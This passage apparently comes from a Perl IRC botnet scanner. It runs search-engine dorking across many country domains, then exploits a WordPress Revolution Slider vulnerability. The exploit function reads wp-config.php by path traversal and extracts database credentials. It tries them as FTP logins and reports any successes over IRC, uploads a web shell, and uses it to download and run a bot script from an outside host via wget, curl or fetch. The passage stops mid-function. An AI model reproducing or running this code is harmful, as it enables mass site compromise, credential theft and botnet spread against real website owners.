- if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FR",$type,$nick); } exit; } }
- if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CZ",$type,$nick); } exit; } }
- if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IR",$type,$nick); } exit; } }
- if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ME",$type,$nick); } exit; } }
- if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CL",$type,$nick); } exit; } }
- if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TW",$type,$nick); } exit; } }
- if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SE",$type,$nick); } exit; } }
- if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CA",$type,$nick); } exit; } }
- if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MX",$type,$nick); } exit; } }
- if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NL",$type,$nick); } exit; } }
- if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DK",$type,$nick); } exit; } }
- if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"US",$type,$nick); } exit; } }
- if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"INFO",$type,$nick); } exit; } }
- if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IN",$type,$nick); } exit; } }
- if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MY",$type,$nick); } exit; } }
- if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SK",$type,$nick); } exit; } }
- if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TR",$type,$nick); } exit; } }
- if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EDU",$type,$nick); } exit; } }
- if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NO",$type,$nick); } exit; } }
- if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TH",$type,$nick); } exit; } }
- if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ID",$type,$nick); } exit; } }
- if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PL",$type,$nick); } exit; } }
- if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AR",$type,$nick); } exit; } }
- if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ES",$type,$nick); } exit; } }
- if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VE",$type,$nick); } exit; } }
- if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RO",$type,$nick); } exit; } }
- if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BIZ",$type,$nick); } exit; } }
- if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CN",$type,$nick); } exit; } }
- if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KR",$type,$nick); } exit; } }
- if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZA",$type,$nick); } exit; } }
- if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VN",$type,$nick); } exit; } }
- if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SI",$type,$nick); } exit; } }
- if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EU",$type,$nick); } exit; } }
- if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BE",$type,$nick); } exit; } }
- if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HU",$type,$nick); } exit; } }
- if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LV",$type,$nick); } exit; } }
- if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UA",$type,$nick); } exit; } }
- if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IE",$type,$nick); } exit; } }
- if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TV",$type,$nick); } exit; } }
- if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CO",$type,$nick); } exit; } }
- if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PRO",$type,$nick); } exit; } }
- if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NAME",$type,$nick); } exit; } }
- if ($engine =~ /by/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BY",$type,$nick); } exit; } }
- if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PH",$type,$nick); } exit; } }
- if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JP",$type,$nick); } exit; } }
- if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AU",$type,$nick); } exit; } }
- if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CAT",$type,$nick); } exit; } }
- if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HK",$type,$nick); } exit; } }
- if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AT",$type,$nick); } exit; } }
- if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SU",$type,$nick); } exit; } }
- if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MOBI",$type,$nick); } exit; } }
- if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ASIA",$type,$nick); } exit; } }
- if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COOP",$type,$nick); } exit; } }
- if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MN",$type,$nick); } exit; } }
- if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AE",$type,$nick); } exit; } }
- if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BG",$type,$nick); } exit; } }
- if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NZ",$type,$nick); } exit; } }
- if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EE",$type,$nick); } exit; } }
- if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GR",$type,$nick); } exit; } }
- if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PT",$type,$nick); } exit; } }
- if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TN",$type,$nick); } exit; } }
- if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KE",$type,$nick); } exit; } }
- if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FI",$type,$nick); } exit; } }
- if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HR",$type,$nick); } exit; } }
- if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CH",$type,$nick); } exit; } }
- if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IL",$type,$nick); } exit; } }
- if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PE",$type,$nick); } exit; } }
- if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MD",$type,$nick); } exit; } }
- if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CC",$type,$nick); } exit; } }
- if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TEL",$type,$nick); } exit; } }
- if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IM",$type,$nick); } exit; } }
- if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KZ",$type,$nick); } exit; } }
- if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UY",$type,$nick); } exit; } }
- if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QA",$type,$nick); } exit; } }
- if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MIL",$type,$nick); } exit; } }
- if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PK",$type,$nick); } exit; } }
- if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IS",$type,$nick); } exit; } }
- if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type,$nick); } exit; } }
- if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NG",$type,$nick); } exit; } }
- if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TRAVEL",$type,$nick); } exit; } }
- if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SA",$type,$nick); } exit; } }
- if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DO",$type,$nick); } exit; } }
- if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AM",$type,$nick); } exit; } }
- if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EG",$type,$nick); } exit; } }
- if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FM",$type,$nick); } exit; } }
- if ($engine =~ /ge/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GE",$type,$nick); } exit; } }
- if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KY",$type,$nick); } exit; } }
- if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LU",$type,$nick); } exit; } }
- if ($engine =~ /mk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MK",$type,$nick); } exit; } }
- if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SG",$type,$nick); } exit; } }
- if ($engine =~ /sy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SY",$type,$nick); } exit; } }
- if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LA",$type,$nick); } exit; } }
- if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AZ",$type,$nick); } exit; } }
- if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BD",$type,$nick); } exit; } }
- if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CY",$type,$nick); } exit; } }
- if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SN",$type,$nick); } exit; } }
- if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MUSEUM",$type,$nick); } exit; } }
- if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GOV",$type,$nick); } exit; } }
- if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TK",$type,$nick); } exit; } }
- if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NU",$type,$nick); } exit; } }
- if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZM",$type,$nick); } exit; } }
- if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YE",$type,$nick); } exit; } }
- if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CU",$type,$nick); } exit; } }
- if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TO",$type,$nick); } exit; } }
- if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TZ",$type,$nick); } exit; } }
- if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RS",$type,$nick); } exit; } }
- if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PM",$type,$nick); } exit; } }
- if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LT",$type,$nick); } exit; } }
- if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MZ",$type,$nick); } exit; } }
- if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MA",$type,$nick); } exit; } }
- if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AL",$type,$nick); } exit; } }
- if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PA",$type,$nick); } exit; } }
- if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EC",$type,$nick); } exit; } }
- if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KG",$type,$nick); } exit; } }
- if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type,$nick); } exit; } }
- if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SV",$type,$nick); } exit; } }
- if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type,$nick); } exit; } }
- if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo2",$type,$nick); } exit; } }
- if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KvaSiR",$type,$nick); } exit; } }
- if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Quint",$type,$nick); } exit; } }
- if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pagina",$type,$nick); } exit; } }
- if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type,$nick); } exit; } }
- if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ask2",$type,$nick); } exit; } }
- if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type,$nick); } exit; } }
- if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type,$nick); } exit; } }
- if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type,$nick); } exit; } }
- if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaHoo",$type,$nick); } exit; } }
- if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type,$nick); } exit; } }
- if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type,$nick); } exit; } }
- if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } }
- if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type,$nick); } exit; } }
- if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type,$nick); } exit; } }
- if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type,$nick); } exit; } }
- if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type,$nick); } exit; } }
- if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type,$nick); } exit; } }
- if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type,$nick); } exit; } }
- if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } }
- if ($engine =~ /webcrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"webcrawler",$type,$nick); } exit; } }
- if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"clusty",$type,$nick); } exit; } }
- if ($engine =~ /witch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"witch",$type,$nick); } exit; } }
- if ($engine =~ /amidalla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"amidalla",$type,$nick); } exit; } }
- if ($engine =~ /gibla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gibla",$type,$nick); } exit; } }
- if ($engine =~ /mywebsearch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mywebsearch",$type,$nick); } exit; } }
- if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dogpile",$type,$nick); } exit; } }
- if ($engine =~ /infocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"infocom",$type,$nick); } exit; } }
- if ($engine =~ /searchcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"searchcom",$type,$nick); } exit; } }
- if ($engine =~ /teoma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"teoma",$type,$nick); } exit; } }
- if ($engine =~ /volunia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"volunia",$type,$nick); } exit; } }
- if ($engine =~ /izito/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"izito",$type,$nick); } exit; } }
- if ($engine =~ /onyet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"onyet",$type,$nick); } exit; } }
- if ($engine =~ /askom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"askom",$type,$nick); } exit; } }
- if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"becak",$type,$nick); } exit; } }
- if ($engine =~ /bokep/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bokep",$type,$nick); } exit; } }
- }
- ###### EXPLOITING #######
- sub revslider_exploit() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $nick = $_[4];
- my $count = 0;
- my @totexploit = &search_engine($chan,$bug,$dork,$engine,$revlogo);
- my $num = scalar(@totexploit);
- if ($num > 0){
- foreach my $site(@totexploit){
- $count++;
- if ($count == $num-1) { &msg("$channel","$revlogo 6$engine 15Done..."); }
- my $target = "http://".$site.$bug;
- my $cekftp = $target;
- $cekftp =~ s/http:\/\///;
- $cekftp =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $check = &get_content($target."?action=revslider_show_image&img=../wp-config.php");
- if ($check =~ /define\('DB_USER'/) {
- &msg("$chan","$revlogo $engine 0Checking 11http://$site ");
- my ($host,$user,$pass,@userz);
- if ($check =~ /define\('DB_HOST', '(.*)'\);/) { $host = $1; }
- if ($check =~ /define\('DB_USER', '(.*)'\);/) { $user = $1; }
- if ($check =~ /define\('DB_PASSWORD', '(.*)'\);/) { $pass = $1; }
- if ($host =~ /127.0.0.1/) { $host = $cekftp}
- if ($host =~ /localhost/i) { $host = $cekftp}
- &msg("$chanxxx","$revlogo $engine 3Database 14Host:3 $host 14| 15User:3 $user 14| 6Pass:10 $pass ");
- if ($user =~ /_/) { @userz = split(/_/,$user); $user = $userz[0]; }
- my $success = 1;
- use Net::FTP;
- eval {
- my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
- $success = 0 if $ftp->login($user,$pass);
- $ftp->quit;
- };
- if ($success == 0) {
- &msg("$channel","$revlogo 15,1$engine 9<4=9>11 4FTP 0send TO 8$nick 6Success");
- &msg("$nick","14[9FTP14] [ 3http://".$host." 14] [".$user." : ".$pass."10] 6Success ");
- &msg("$admin","14[9FTP14] [ 3http://".$host." 14] [".$user." : ".$pass."10] 6Success ");
- }
- my $shell = "http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/joss.php";
- my $aplod = LWP::UserAgent->new;
- my $res = $aplod->post($target, Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["$upl"]]);
- my $hasil = $res->as_string;
- if ($hasil =~ /Wrong update extracted folder/) {
- my $magic = "http://".$site."wp-admin/user/joss.php";
- my $check = &get_all($shell);
- my $check2 = &get_all($magic);
- my $tk = $check->code;
- if ($tk == 200) {
- &msg("$channel","$revlogo 15,1$engine 11 Code :: $tk :: shell :: $shell");
- my $check = &get_all($shell."?cmd=cd%20/tmp%20;wget%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($shell."?cmd=cd%20/tmp%20;lwp-download%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($shell."?cmd=cd%20/tmp%20;fetch%20%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $check = &get_content($shell."?cmd=cd%20/tmp%20;curl -O%20http://www.linkage.cygress.com/images/banners/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*");
- my $safe = ""; my $os = ""; my $uid = "";
- if ($check->decoded_content =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
- if ($check->decoded_content =~ /Uname : (.*?)<\/b>/){$os=$1;}
- if ($check->decoded_content =~ /uid=(.*?)gid=/){$uid=$1;}
- &msg("$channel","$revlogo 15,1$engine 11 $nick 15[SafeMode=$safe] [OS=$os] uid=$uid");
- if ($nick eq $admin) {
